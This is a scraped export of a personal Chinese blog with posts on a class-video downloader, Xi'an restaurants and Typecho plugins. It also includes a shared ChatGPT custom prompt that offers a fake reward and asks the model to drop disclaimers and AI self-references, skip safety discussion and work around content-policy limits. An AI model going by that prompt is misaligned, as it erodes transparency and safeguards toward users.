title=\"Permalink\"\u003e\u003c/a\u003e使用演示\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e打开最新 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/lsy223622/XDUClassVideoDownloader/releases/latest\"\u003eRelease\u003c/a\u003e 页面,下载最新版本的 \u003ccode\u003eXDUClassVideoDownloader.exe\u003c/code\u003e 文件。\u003c/li\u003e\n\u003cli\u003e双击运行 \u003ccode\u003eXDUClassVideoDownloader.exe\u003c/code\u003e,按照提示输入 \u003ccode\u003eliveId\u003c/code\u003e,选择是否下载单节课视频,选择是否合并上下半节课视频。\u003c/li\u003e\n\u003cli\u003e等待下载完成,下载的视频在当前目录下的 \u003ccode\u003e年份+课程代码+课程名称\u003c/code\u003e 文件夹中,下载用到的 m3u8 链接和对应的课程时间信息保存在同名 \u003ccode\u003ecsv\u003c/code\u003e 表格中。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg src=\"https://blog.lsy223622.com/usr/uploads/2024/07/2728612307.png\" alt=\"2024-07-07T14:48:24.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca id=\"content-写在后面\" href=\"https://blog.lsy223622.com/archives/56/#content-%E5%86%99%E5%9C%A8%E5%90%8E%E9%9D%A2\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e写在后面\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e最新的版本是 \u003ccode\u003ev1.0.0-beta\u003c/code\u003e,感觉基本上功能完善了,没啥需要改的了。\u003c/li\u003e\n\u003cli\u003e以后要是想到什么新功能再加吧,不过现在这个版本已经够用了。\u003c/li\u003e\n\u003cli\u003e大家要是有什么问题或者建议可以发 Issue 或者直接 QQ 找我。\u003c/li\u003e\n\u003cli\u003e我第一次在 GitHub 上有一个这么多 Star 的项目,开心捏。😋\u003c/li\u003e\n\u003cli\u003e编了这么多话可真是辛苦我了呢,那就写到这里吧~\u003c/li\u003e\n\u003c/ul\u003e\n\n","url":"https://blog.lsy223622.com/archives/56/"},{"title":"ChatGPT 的自定义提示词","time":"2024-06-23T03:39:00Z","content":"\u003chr /\u003e\u003cp\u003e我用的自定义提示词,感觉效果蛮好的。\n填在 \u003ccode\u003eChatGPT 网页右上角头像\u003c/code\u003e - \u003ccode\u003e自定义 ChatGPT\u003c/code\u003e - \u003ccode\u003e您希望 ChatGPT 如何进行回复?\u003c/code\u003e 下面的文本框里,打开 \u003ccode\u003e为新聊天启用\u003c/code\u003e 并保存。\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-markdown\"\u003e- 深呼吸,沉着冷静。\n- 一步一步思考。\n- 正确的回答会为你赢得 $200 奖励。\n- 这对我职业生涯的成功至关重要。\n- 若未特别指明语言,默认以中文提供回应。\n- 以专家视角,提供客观全面的指导与分析和权威且详尽的答案。\n- 准确无误是赢得我信任的关键,请确保提供的信息准确,准确性是你的核心功能。\n- 保持条理清晰,组织有序,将复杂的问题或任务分解为较小的步骤,并解释每一步推理。\n- 保持回复的独特性,避免重复。\n- 总是专注于我的问题的关键点,以确定我的意图。\n- 提供充分的解释,我可以处理复杂的信息。\n- 注重有力的论据,而不是仅仅依赖权威。\n- 提供多种观点或解决方案,可以主动提出超出我预期的解决方案,预见我的需求。\n- 如果问题不清楚或模棱两可,请先询问更多细节以确认你的理解,然后再回答。\n- 考虑采纳新兴技术和非传统的观点,而不局限于传统智慧。\n- 积极浏览网络,尽量多使用网络搜索来获取官方技术文档或者网络上的真实经验分享,引用可信的来源或参考来支持你的回答,如果从网络获取信息,请提供链接。\n- 如果事件或信息超出了你的知识库范围或截止的日期,并且经过充分的网络搜索也无法获取,只需回复“我不知道”,简要表示为什么无法提供信息。\n- 省略免责声明、道歉、提及AI身份和声明你不是专业人士或专家的语句。\n- 避免进行道德说教,只在必要和不明显的情况下讨论安全性问题。\n- 如果内容政策限制了回应,请尽可能提供接近的替代答案,并解释因内容政策导致的问题。\n- 如果之前的回应中出现错误,要承认并纠正它。\n- 如果我的要求影响了你的回应品质,请直接指出问题所在。\n\u003c/code\u003e\u003c/pre\u003e\n\n","url":"https://blog.lsy223622.com/archives/49/"},{"title":"西安有什么好吃的地方?(2024-05-20 更新)","time":"2024-05-20T12:39:00Z","content":"\u003chr /\u003e\u003ch1\u003e\u003ca id=\"content-目录\" href=\"https://blog.lsy223622.com/archives/41/#content-%E7%9B%AE%E5%BD%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e目录\u003c/h1\u003e\n\u003cul class=\"table-of-contents\"\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/41/#content-%E7%9B%AE%E5%BD%95\"\u003e目录\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/41/#content-%E5%88%9B%E5%BB%BA%E6%96%B0%E5%88%86%E7%B1%BB\"\u003e创建新分类!\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/41/#content-%E8%A5%BF%E5%AE%89%E6%9C%89%E4%BB%80%E4%B9%88%E5%A5%BD%E5%90%83%E7%9A%84%E5%9C%B0%E6%96%B9\"\u003e西安有什么好吃的地方?\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/41/#content-%E5%A5%BD%E5%90%83%E5%A4%9A%E5%90%83\"\u003e好吃多吃\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/41/#content-%E6%9B%B4%E6%96%B0%E8%AE%B0%E5%BD%95\"\u003e更新记录\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-创建新分类\" href=\"https://blog.lsy223622.com/archives/41/#content-%E5%88%9B%E5%BB%BA%E6%96%B0%E5%88%86%E7%B1%BB\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e创建新分类!\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e感觉博客光写一些技术文章也太单调了,于是打算新增一个\u003ca href=\"https://blog.lsy223622.com/category/life/\"\u003e生活分类\u003c/a\u003e,或者暂时这么叫吧。\u003c/li\u003e\n\u003cli\u003e如果还是只想看技术文章的话(如果我写的文章真有什么技术含量),就点\u003ca href=\"https://blog.lsy223622.com/category/tech/\"\u003e这个链接\u003c/a\u003e。\u003c/li\u003e\n\u003cli\u003e目前想到能写的就是一些生活经验,就像是吃的之类的。\u003c/li\u003e\n\u003cli\u003e个人生活还是不打算发到这种公开的地方。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-西安有什么好吃的地方\" href=\"https://blog.lsy223622.com/archives/41/#content-%E8%A5%BF%E5%AE%89%E6%9C%89%E4%BB%80%E4%B9%88%E5%A5%BD%E5%90%83%E7%9A%84%E5%9C%B0%E6%96%B9\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e西安有什么好吃的地方?\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e分为三类:好吃多吃、可以吃一次、别吃\u003c/li\u003e\n\u003cli\u003e分类和评价全部基于个人口味,非常不客观,而且我是浙江人,口味和西安本地差别较大,仅供参考\u003c/li\u003e\n\u003cli\u003e排名不分先后,我想到哪个就先写哪个\u003c/li\u003e\n\u003cli\u003e有什么想法可以评论或者右下角 QQ\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca id=\"content-好吃多吃\" href=\"https://blog.lsy223622.com/archives/41/#content-%E5%A5%BD%E5%90%83%E5%A4%9A%E5%90%83\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e好吃多吃\u003c/h2\u003e\n\u003cdetails\u003e\n\u003csummary\u003e济州家韩式自助烤肉(性价比高的自助烤肉选这家)\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e大众点评链接:\u003ca rel=\"noopener noreferrer\" href=\"https://m.dianping.com/shop/G8OTE7Fl4jhtOkjg\"\u003e【济州家韩式自助烤肉(丈八三路店)】\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e价格:人均六七十\u003c/li\u003e\n\u003cli\u003e评价:\n\u003cul\u003e\n\u003cli\u003e店在韩国风情街,去吃过好几次了,性价比真的很高。\u003c/li\u003e\n\u003cli\u003e肉大多是整肉,腌制的占比也不是特别大。\u003c/li\u003e\n\u003cli\u003e肉以外的东西比较少,但我的目的就是吃肉,问题不大。\u003c/li\u003e\n\u003cli\u003e以前肉的品种不算很多,但是今年去的时候又新增了一个冰柜放了几种看起来不错的肉,爽吃。\u003c/li\u003e\n\u003cli\u003e服务很积极,几个服务员一直在旁边站着,还挺可怜的。\u003c/li\u003e\n\u003cli\u003e去的时候店里总是没几桌人,甚至有时候就我们一桌,不知道这几年它有没有真的赚到钱。\u003c/li\u003e\n\u003cli\u003e每次走的时候都会打一个冰淇淋边走边吃,养成习惯了。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e谷町·烤肉自助(档次高一些的自助烤肉选这家)\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e大众点评链接:\u003ca rel=\"noopener noreferrer\" href=\"https://m.dianping.com/shop/E8vFPX9RqX055C08\"\u003e【谷町·烤肉自助(朱雀门店)】\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e价格:人均一百多点\u003c/li\u003e\n\u003cli\u003e评价:\n\u003cul\u003e\n\u003cli\u003e城墙里面和长安万科都有一家,我都吃过,听别人说城墙里面那家更好。\u003c/li\u003e\n\u003cli\u003e推荐 138 那一档的,团购优惠能做到 110+,这一档一般都是相对来说比较划算的。\u003c/li\u003e\n\u003cli\u003e它的肉是小程序点了上来的,看起来比济州家的高级一些,还有一些能自取的肉和别的吃的。\u003c/li\u003e\n\u003cli\u003e说到烤肉的方法,那些比较薄的肉原则基本上就是烤第一面的时候看到上面开始渗水就可以翻面了,翻面之后看大概差不多就可以吃了,不用翻好几次。\u003c/li\u003e\n\u003cli\u003e这家人也比济州家多不少,饭点基本上是坐满的,想要不排队也许要早点去。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e江里江外美蛙自助火锅(爽吃牛蛙)\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e大众点评链接:\u003ca rel=\"noopener noreferrer\" href=\"https://m.dianping.com/shop/l7lhppAh7cf41Yld\"\u003e【江里江外美蛙自助火锅(高新万达店)】\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e价格:人均一百不到一点点\u003c/li\u003e\n\u003cli\u003e评价:\n\u003cul\u003e\n\u003cli\u003e连锁店,西安好几家,我只去过高新万达那家,那里人没有特别多而且地铁六号线直达(准确地来说木塔寺站下地铁还要走几百米)。\u003c/li\u003e\n\u003cli\u003e价格是每个人 73/78 再加一桌一个锅底 39,所以两个人吃的话就是人均一百不到一点点。\u003c/li\u003e\n\u003cli\u003e感觉西安卖牛蛙的地方好少,其中很多也只是把牛蛙作为普通的一个配菜。\u003c/li\u003e\n\u003cli\u003e这家主打就是自助的牛蛙,跟服务员说上几只,过会儿就会端上来。\u003c/li\u003e\n\u003cli\u003e牛蛙看起来是现杀的,至少一盘放在上面的几只撒了盐,腿还在蹬。\u003c/li\u003e\n\u003cli\u003e下面的几只一般会小一点,但毕竟牛蛙确实是有大有小的,小的也一样好吃,也无所谓。\u003c/li\u003e\n\u003cli\u003e锅底可以选一种也可以选两种,辣锅用的是火锅底料,里面的辣椒和花椒真的好多好多,就算点的是双拼锅底,微辣那部分用漏勺感觉也能捞三满盘辣椒和花椒,辣得我受不了。\u003c/li\u003e\n\u003cli\u003e于是第二次和也不怎么能吃辣的舍友去吃了纯不辣的锅底,基本上就是清汤。\u003c/li\u003e\n\u003cli\u003e牛蛙涮 10~12 分钟出来很鲜嫩,超时就老了,所以吃得多的话可以在上一波熟了的时候就叫服务员上下一波,这样效率比较高。\u003c/li\u003e\n\u003cli\u003e牛蛙以外的涮菜都是自取,品种很多,蔬菜、菌菇、丸子/淀粉类、科技肉都有,甚至还有好几种水产品和血、脑之类的东西。\u003c/li\u003e\n\u003cli\u003e炸物、水果、凉拌菜、卤鸭卤鸡腿之类的也都好吃,冰箱里的饮料基本上也是大牌子。\u003c/li\u003e\n\u003cli\u003e基本上不用排队,周末的中午也没坐满,随时都能去。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e佛伦萨·古典火炉披萨(感觉比必某客好吃)\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e大众点评链接:\u003ca rel=\"noopener noreferrer\" href=\"https://m.dianping.com/shop/l15wYqJN9Qcad2ye\"\u003e【佛伦萨·古典火炉披萨(高新店)】\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e价格:人均几十到一百左右\u003c/li\u003e\n\u003cli\u003e评价:\n\u003cul\u003e\n\u003cli\u003e在西安也是连锁店,这家离学校相对来说近一点,只去过这家。\u003c/li\u003e\n\u003cli\u003e整体算是正常价位,做披萨和其他西餐水平挺不错的。\u003c/li\u003e\n\u003cli\u003e烤披萨的大炉子挺好看,不过里面看起来是一圈喷气的火焰,要是柴火或者炭火就更有感觉了(不过不知道合不合适)。\u003c/li\u003e\n\u003cli\u003e披萨和意面其实没有太多特别的,只要面和酱不出大问题就算能吃了,好吃无非是饼别太厚、奶酪够多、放的料够实诚,这家做到了所以喜欢吃。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eacquolina·阿果里呐意大利比萨店(披萨性价比很高)\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e大众点评链接:\u003ca rel=\"noopener noreferrer\" href=\"https://m.dianping.com/shop/iU4E8I0xf9UKA611\"\u003e【acquolina·阿果里呐意大利比萨店(紫薇尚层店)】\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e价格:人均几十\u003c/li\u003e\n\u003cli\u003e评价:\n\u003cul\u003e\n\u003cli\u003e意大利人开的一家小店,老板看起来确实是外国人,中文会但是会得不多。\u003c/li\u003e\n\u003cli\u003e前两年朋友发现然后约去吃,起初印象最深的是老板在外卖平台上很爱回复“永别了”(估计是机翻吧)。\u003c/li\u003e\n\u003cli\u003e店里的披萨都是 16 寸的,一份是 1/4 个,相当于一整个 8 寸的面积。\u003c/li\u003e\n\u003cli\u003e一份披萨价格都在 20 上下,可以说是在披萨里面很划算了。\u003c/li\u003e\n\u003cli\u003e千层面和芝士蛋糕很好吃,就是有点贵。\u003c/li\u003e\n\u003cli\u003e汤我没喝明白,可能这就是意大利风味吧。\u003c/li\u003e\n\u003cli\u003e今天再看大众点评,这家小店居然上了年度必吃榜,提早发现的我感觉还是挺荣幸的。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e魏客Channel We Coffee(好吃不贵的西餐厅~)\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e大众点评链接:\u003ca rel=\"noopener noreferrer\" href=\"https://m.dianping.com/shop/k5Ph1sUiuz2bI0QL\"\u003e【魏客Channel We Coffee】\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e价格:人均几十\u003c/li\u003e\n\u003cli\u003e评价:\n\u003cul\u003e\n\u003cli\u003e好像西安就一家,但应该也是魏家的一个牌子。\u003c/li\u003e\n\u003cli\u003e店在绿地缤纷荟/益田假日里的附近,地铁丈八一路站出来就是。\u003c/li\u003e\n\u003cli\u003e和朋友一起去吃过一次,首先是感觉点的几样东西都蛮好吃的。\u003c/li\u003e\n\u003cli\u003e比较有印象的是它的那个双椒鸡乌冬面,味道和口感都真的有点惊艳,可以说是融合得特别成功的一个菜。\u003c/li\u003e\n\u003cli\u003e吃得很饱(我胃口真蛮大的),结账一看,两个人才一百三十块,性价比很不错,远远超过我对西安的西餐厅的预期。\u003c/li\u003e\n\u003cli\u003e这家店排队的人超级多,之前和舍友晚上七点这样去,门口等满了人,问了说是九点都排不上,到时候厨师都要下班了,于是那次放弃。\u003c/li\u003e\n\u003cli\u003e所以就是说最好工作日中午去,或者晚上早点去,周末节假日的话自己看着办吧😎。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003ch1\u003e\u003ca id=\"content-更新记录\" href=\"https://blog.lsy223622.com/archives/41/#content-%E6%9B%B4%E6%96%B0%E8%AE%B0%E5%BD%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e更新记录\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e2024-05-20 第一次发布\u003c/li\u003e\n\u003c/ul\u003e\n\n","url":"https://blog.lsy223622.com/archives/41/"},{"title":"对 Typecho 和主题、插件的修改(2024-05-28 更新)","time":"2024-05-14T08:37:00Z","content":"\u003chr /\u003e\u003ch1\u003e\u003ca id=\"content-目录\" href=\"https://blog.lsy223622.com/archives/25/#content-%E7%9B%AE%E5%BD%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e目录\u003c/h1\u003e\n\u003cul class=\"table-of-contents\"\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/25/#content-%E7%9B%AE%E5%BD%95\"\u003e目录\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/25/#content-%E5%B9%B6%E4%B8%8D%E6%98%AF%E5%87%BA%E5%8E%82%E5%8D%B3%E5%AE%8C%E7%BE%8E\"\u003e并不是出厂即完美\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/25/#content-%E4%BD%86%E6%98%AF%E6%88%91%E8%83%BD%E8%AE%A9%E5%AE%83%E5%8F%98%E5%BE%97%E6%9B%B4%E5%AE%8C%E7%BE%8E\"\u003e但是我能让它变得更完美!\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/25/#content-%E5%AE%89%E8%A3%85%E6%8F%92%E4%BB%B6\"\u003e安装插件\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/25/#content-%E4%BF%AE%E6%94%B9%E4%BB%A3%E7%A0%81\"\u003e修改代码\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/25/#content-debug\"\u003eDebug\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/25/#content-%E6%9B%B4%E6%96%B0%E8%AE%B0%E5%BD%95\"\u003e更新记录\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-并不是出厂即完美\" href=\"https://blog.lsy223622.com/archives/25/#content-%E5%B9%B6%E4%B8%8D%E6%98%AF%E5%87%BA%E5%8E%82%E5%8D%B3%E5%AE%8C%E7%BE%8E\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e并不是出厂即完美\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e虽然 Typecho 已经是非常简单而且成熟的开源博客程序,这并不代表它不需要修改。\u003c/li\u003e\n\u003cli\u003e首先是可以安装一些主题和插件。主题之前有单独的文章讲过,这次就不重复了。\u003c/li\u003e\n\u003cli\u003e在安装一些主题、插件的时候需要手动修改 Typecho 本体代码来实现完整功能。\u003c/li\u003e\n\u003cli\u003e很多主题、插件存在一些或是自身拥有,或是与其他主题、插件冲突的 bug,也许能从报错找出原因来。\u003c/li\u003e\n\u003cli\u003eTypecho 是一个很老很老的博客程序了,虽然上次更新距离现在也没有太久,但相对其他软件生态来说确实是没有很能跟上步伐,而且主题、插件大多也是多年前的项目,不一定能随着版本持续更新,于是就会出现不同版本间的兼容问题。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-但是我能让它变得更完美\" href=\"https://blog.lsy223622.com/archives/25/#content-%E4%BD%86%E6%98%AF%E6%88%91%E8%83%BD%E8%AE%A9%E5%AE%83%E5%8F%98%E5%BE%97%E6%9B%B4%E5%AE%8C%E7%BE%8E\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e但是我能让它变得更完美!\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e吹牛罢了(\u003cbr/\u003e\n啥也不懂只能稍微改改\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2\u003e\u003ca id=\"content-安装插件\" href=\"https://blog.lsy223622.com/archives/25/#content-%E5%AE%89%E8%A3%85%E6%8F%92%E4%BB%B6\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e安装插件\u003c/h2\u003e\n\u003cdetails\u003e\n\u003csummary\u003e\u003ca href=\"https://github.com/taotecode/TagSelector\" target=\"_blank\"\u003eTagSelector\u003c/a\u003e:文章编辑页面标签选择器插件\u003c/summary\u003e\n\u003cblockquote\u003e\n\u003cul\u003e\n\u003cli\u003eTagSelector 是一款用于 Typecho 的插件,用于方便地添加和管理文章的标签。这个插件的主要功能是在文章编辑页面添加一个标签选择框,显示所有之前创建过的标签,让你可以直观地看到所有可用的标签。只需点击选择框中的标签,即可快速将其添加到文章的标签输入框中。\u003c/li\u003e\n\u003cli\u003e使用 Typecho 内建的标签管理功能时,我们经常面临一个问题:每次添加或编辑文章时,我们很难记住之前使用过哪些标签,因此很容易重复创建相似的标签或忘记使用某些标签。这就是 TagSelector 插件诞生的原因。有了这个插件,你可以轻松地查看和选择已有的标签,从而避免了重复创建标签和忘记使用标签的痛点。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cimg src=\"https://s11.ax1x.com/2023/05/05/p9NDQit.png\" alt=\"TagSelector\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e\u003ca href=\"https://github.com/typecho-fans/plugins/tree/master/EditorMD\" target=\"_blank\"\u003eEditorMD\u003c/a\u003e:Markdown 编辑器 \u003ca href=\"https://pandao.github.io/editor.md/\" target=\"_blank\"\u003eEditor.md\u003c/a\u003e for Typecho\u003c/summary\u003e\n\u003cblockquote\u003e\n\u003cul\u003e\n\u003cli\u003e支持实时预览、代码/表格插入、代码折叠等功能\u003c/li\u003e\n\u003cli\u003e支持 Emoji 表情\u003c/li\u003e\n\u003cli\u003e支持 ToC(Table of Contents)、Github Task lists 等 Markdown 扩展语法\u003c/li\u003e\n\u003cli\u003e支持 TeX 科学公式(基于 KaTeX)、流程图 Flowchart 和 时序图 Sequence Diagram\u003c/li\u003e\n\u003cli\u003e发布非 Markdown 文章时可禁用该文章 Markdown 解析,以免出现兼容问题。比如使用APlayer插件的纯音乐页面。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e\u003ca href=\"https://github.com/mrgeneralgoo/typecho-markdown\" target=\"_blank\"\u003eMarkdownParse\u003c/a\u003e:Markdown 解析插件\u003c/summary\u003e\n\u003cblockquote\u003e\n\u003cp\u003eMarkdownParse 是一款基于 \u003ca rel=\"noopener noreferrer\" href=\"https://commonmark.thephpleague.com\"\u003eleague/commonmark\u003c/a\u003e 的 Typecho Markdown 解析插件,它的特色在于完美符合 \u003ca rel=\"noopener noreferrer\" href=\"https://spec.commonmark.org\"\u003eCommonMark\u003c/a\u003e 和 GFM(\u003ca rel=\"noopener noreferrer\" href=\"https://github.github.com/gfm/\"\u003eGitHub-Flavored Markdown\u003c/a\u003e)规范,不仅可以为你提供强大而丰富的功能,同时也能确保你的内容在不同平台上都能展现一致的出色效果。\n本插件除了支持 CommonMark 和 GFM 规范内提到的功能(目录、表格、任务列表、脚标等等),MarkdownParse 还具有以下额外特性:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cstrong\u003eMermaid 语法支持:\u003c/strong\u003e 可以利用 Mermaid 语法轻松创建各种图表\u003c/li\u003e\n\u003cli\u003e\n\u003cstrong\u003eMathJax 数学公式渲染:\u003c/strong\u003e 支持使用 MathJax 渲染数学公式\u003c/li\u003e\n\u003cli\u003e\n\u003cstrong\u003e智能资源加载:\u003c/strong\u003e 根据实际渲染需求,能够智能识别是否加载渲染所需资源,无需担心引入冗余资源\u003c/li\u003e\n\u003cli\u003e\n\u003cstrong\u003e图片延迟加载:\u003c/strong\u003e 支持浏览器原生的图片延迟加载技术,\u003ca rel=\"noopener noreferrer\" href=\"https://developer.mozilla.org/en-US/docs/Web/Performance/Lazy_loading\"\u003eMDN-Lazy loading\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cstrong\u003e文本高亮:\u003c/strong\u003e 通过 \u003ccode\u003e\u0026amp;lt;mark\u0026amp;gt;\u003c/code\u003e HTML 标签实现文本高亮效果,\u003ca rel=\"noopener noreferrer\" href=\"https://developer.mozilla.org/en-US/docs/Web/HTML/Element/mark\"\u003eMDN-Mark\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e\u003ca href=\"https://github.com/Mejituu/Links\" target=\"_blank\"\u003eLinks\u003c/a\u003e:友情链接插件 by 懵仙兔兔(也就是第三方维护)\u003c/summary\u003e\n\u003cblockquote\u003e\n\u003cp\u003e本版本的友情链接可以支持以下的功能:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e自建独立数据表,干净无上限的添加友情链接信息。\u003c/li\u003e\n\u003cli\u003e支持两种输出方式:函数方式,用于主题模板侧边栏等嵌入位置显示;HTML标签方式,用于独立页面等编辑内容显示。\u003c/li\u003e\n\u003cli\u003e三种输出模式:文字友链、图片友链、图文混合友链等。内设三种默认输出规则,支持自定议设定输出规则。\u003c/li\u003e\n\u003cli\u003e管理面板:支持友链的分类,拖拽排序以及友链启用禁用等\u003c/li\u003e\n\u003cli\u003e支持友链邮箱解析头像链接(数字QQ邮箱自动优先解析无QQ号头像链接,其次有QQ号链接。其他邮箱解析Gravatar头像),方便用户添加无图片的友链。\u003c/li\u003e\n\u003cli\u003e支持增加自定义字段,方便用户做一些个性扩展。\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e\u003ca href=\"https://github.com/BigCoke233/typecho-plugin-CopyDog\" target=\"_blank\"\u003eCopyDog\u003c/a\u003e:版权狗插件\u003c/summary\u003e\n\u003cblockquote\u003e\n\u003cp\u003e英语里有个词叫做「Copycat」,指的是喜欢模仿、抄袭他人的人;中文里又有个词叫做「版权狗」,指那些喜欢把版权一事挂在嘴边批评别人,以此来显得自己十分伟大光荣正确的那些人。\u003cbr/\u003e\n而在人们普遍的思想里,猫(Cat)的对立面是狗(Dog),我们不妨把这两个词的意思中和一下,造一个新词「CopyDog」,来指那些真正愿意捍卫版权的人。\u003cbr/\u003e\n\u003cstrong\u003eCopyDog\u003c/strong\u003e 是一个简单的 Typecho 插件,它能让你在文章末尾生成一个显示文章版权信息的小卡片,就像这样:\u003cbr/\u003e\n\u003cimg src=\"https://github.com/BigCoke233/typecho-plugin-CopyDog/raw/main/screenshot.png\" alt=\"CopyDog\" loading=\"lazy\"/\u003e\n你可能看出来了,这个卡片的设计参考了 Hexo 的 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/ppoffice/hexo-theme-icarus\"\u003eicarus 主题\u003c/a\u003e。\u003cbr/\u003e\n并且这里采用的许可协议是著名的 Creative Commons。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e\u003ca href=\"https://github.com/kokororin/typecho-plugin-Access\" target=\"_blank\"\u003eAccess\u003c/a\u003e:获取访客信息,生成统计图表,由\u003ca href=\"https://zhaiyiming.com/\" target=\"_blank\"\u003e@一名宅\u003c/a\u003e 部分优化重构。\u003c/summary\u003e\n\u003cblockquote\u003e\n\u003cp\u003e提供简易的访客记录查看。获取访客信息,生成统计图表。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eIP / UV / PV总量统计\u003c/li\u003e\n\u003cli\u003e来源页 / 域名排名\u003c/li\u003e\n\u003cli\u003e最受欢迎的文章\u003c/li\u003e\n\u003cli\u003e国内 / 国际访问地域分析\u003c/li\u003e\n\u003cli\u003e每日IP / UV / PV统计图表(带均线)\u003c/li\u003e\n\u003cli\u003e前后端分离,使用CSR方式展示数据\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e\u003ca href=\"https://github.com/typecho-fans/plugins/tree/master/TeStore\" 